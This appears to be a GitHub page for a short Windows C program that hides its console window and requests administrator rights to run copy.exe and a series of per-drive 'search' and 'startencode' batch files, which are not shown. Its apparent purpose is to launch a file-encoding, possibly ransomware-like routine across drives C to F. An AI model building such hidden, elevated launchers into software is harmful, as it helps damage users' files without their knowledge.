-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshellexecute.c
54 lines (51 loc) · 1.42 KB
/
shellexecute.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include<windows.h>
#include<tchar.h>
#include<stdlib.h>
/*int repeat(void){
SHELLEXECUTEINFO sei={sizeof(SHELLEXECUTEINFO)};
sei.lpVerb=TEXT("runas");
sei.lpFile=TEXT("shellexecuteextra.exe");//add application which you want to run as administrator here
sei.nShow=SW_SHOWNORMAL;//without this,the windows will be hiden
if(!ShellExecuteEx(&sei)){
DWORD dwStatus=GetLastError();
if(dwStatus==ERROR_CANCELLED){
printf("提升权限被用户拒绝\n");
}
else
if(dwStatus==ERROR_FILE_NOT_FOUND){
printf("所要执行的文件没有找到\n");
}
}
}*/
void execute(char name[]){
SHELLEXECUTEINFO sei={sizeof(SHELLEXECUTEINFO)};
sei.lpVerb=TEXT("runas");
sei.lpFile=TEXT(name);//add application which you want to run as administrator here
//sei.nShow=SW_SHOWNORMAL;//without this,the windows will be hiden
if(!ShellExecuteEx(&sei)){
DWORD dwStatus=GetLastError();
if(dwStatus==ERROR_CANCELLED){
printf("提升权限被用户拒绝\n");
}
else
if(dwStatus==ERROR_FILE_NOT_FOUND){
printf("所要执行的文件没有找到\n");
}
}
}
int _tmain(int argc,TCHAR* argv[])
{
ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0);
execute("copy.exe");
execute("searchd.bat");
execute("searche.bat");
execute("searchf.bat");
Sleep(100);
execute("startencoded.bat");
execute("startencodee.bat");
execute("startencodef.bat");
execute("searchc.bat");
execute("startencodec.bat");
return 0;
}